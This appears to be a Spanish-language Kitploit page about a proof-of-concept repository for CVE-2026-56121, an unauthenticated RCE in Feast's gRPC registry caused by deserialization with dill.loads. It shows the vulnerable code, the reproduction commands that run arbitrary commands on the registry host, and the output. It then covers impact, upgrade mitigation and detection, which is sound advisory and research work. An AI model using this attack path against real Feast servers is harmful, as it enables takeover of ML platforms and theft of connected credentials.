Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-56121-Feast-Unauth-RCE — CVE-2026-56121 — Feast <0.63.0 RCE no autenticado mediante gRPC registry dill.loads de OnDemandFeatureView UDF (pre-autenticación). Lab + PoC, verificado e2e. | Kitploit
Herramientas/GitHubGitHub/biitts/cve-2026-56121-feast-unauth-rce
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAnálisis de MalwarePruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubbiitts/cve-2026-56121-feast-unauth-rce

CVE-2026-56121-Feast-Unauth-RCE

CVE-2026-56121 — Feast <0.63.0 RCE no autenticado mediante gRPC registry dill.loads de OnDemandFeatureView UDF (pre-autenticación). Lab + PoC, verificado e2e.

Ver Repositorio
4hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-56121 — RCE no autenticado en Feast a través de deserialización del registro gRPC

El servidor gRPC del registro de Feast < 0.63.0 ejecuta dill.loads() sobre la función definida por el usuario de un OnDemandFeatureView tan pronto como llega una especificación — antes de cualquier verificación de autorización. La configuración incluida es auth: no_auth, por lo que cualquier cliente que pueda alcanzar el puerto del registro (por defecto 6570) obtiene ejecución remota de código no autenticada enviando una solicitud ApplyFeatureView con un pickle malicioso.

CVECVE-2026-56121
AfectadoFeast < 0.63.0
Corregido0.63.0
ClaseCWE-502 (Deserialización de datos no confiables) → RCE
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticaciónNinguna (auth: no_auth por defecto; deserialización ocurre antes de autorización)
Superficieregistro gRPC RegistryServer.ApplyFeatureView (puerto por defecto 6570)
EstadoCONFIRMADO — reproducido de extremo a extremo contra feast==0.62.0

Causa raíz

sdk/python/feast/registry_server.py:

root@kitploit:~
def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    ...
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # (1) deserialize
        ...
    assert_permissions_to_update(resource=feature_view, ...)                            # (2) authorize
    self.proxied_registry.apply_feature_view(...)

from_proto (1) se llama antes de la verificación de permisos (2). Analiza la transformación, la cual ejecuta dill.loads() sobre el cuerpo de la UDF — sdk/python/feast/transformation/pandas_transformation.py (y python_transformation.py):

root@kitploit:~
@classmethod
def from_proto(cls, user_defined_function_proto):
    return cls(
        udf=dill.loads(user_defined_function_proto.body),   # <-- pickle controlado por el atacante
        udf_string=user_defined_function_proto.body_text,
    )

dill es un superconjunto de pickle, por lo que dill.loads() de bytes del atacante invoca la maquinaria __reduce__ de pickle → ejecución de código arbitrario. Debido a que se ejecuta antes de assert_permissions_to_update — y la configuración predeterminada auth: no_auth hace que esa verificación sea ineficaz de todos modos — el RCE es no autenticado.

Reproducir

root@kitploit:~
# 1. Iniciar un servidor de registro vulnerable (feast 0.62.0, gRPC :6570, no_auth por defecto)
docker compose -f lab/docker-compose.yml up --build -d

# 2. Ejecutar el PoC (sin credenciales)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"

# 3. La salida del comando aparece en el host del registro
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
#   uid=...(...)  <hostname>

Observado:

root@kitploit:~
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.

El RPC finalmente da error (el objeto desempaquetado ya no es una UDF invocable), pero el comando ya se ejecutó durante dill.loads() — cat /tmp/feast_pwned devuelve la salida en vivo de id/uname, lo que demuestra la ejecución y no un eco.

Impacto

Cualquier persona que pueda alcanzar el puerto gRPC del registro de Feast puede ejecutar comandos arbitrarios del sistema operativo como la cuenta de servicio del registro — compromiso total del almacén de características y las tiendas offline/online, registros y credenciales en la nube a los que está conectado. Los registros de Feast se exponen frecuentemente dentro de plataformas de ML para que los clientes SDK los llamen.

Mitigación

  • Actualice a Feast ≥ 0.63.0, que añade una ruta skip_udf para que el servidor del registro ya no deserialice el cuerpo de la UDF de las especificaciones entrantes.
  • Defensa en profundidad: habilite auth (oidc/kubernetes) y nunca exponga el puerto del registro a redes no confiables. Tenga en cuenta que la autenticación por sí sola no es suficiente en < 0.63.0, porque la deserialización precede a la verificación de autorización.

Detección

Alerte sobre RPCs ApplyFeatureView / ApplyMaterialization al registro cuyo OnDemandFeatureView user_defined_function.body no sea producido por un cliente confiable, y sobre procesos del registro que generan shells.

Vea ANALYSIS.md para la ruta del proto, el orden deserialización-antes-autorización y el parche.


  • Autor: Caio Fabrício — github.com/BiiTts
  • El crédito de la vulnerabilidad pertenece al reportero original / aviso del proveedor; este repositorio es una reproducción independiente para uso defensivo y educativo. Solo para pruebas de seguridad autorizadas.
Descargar herramienta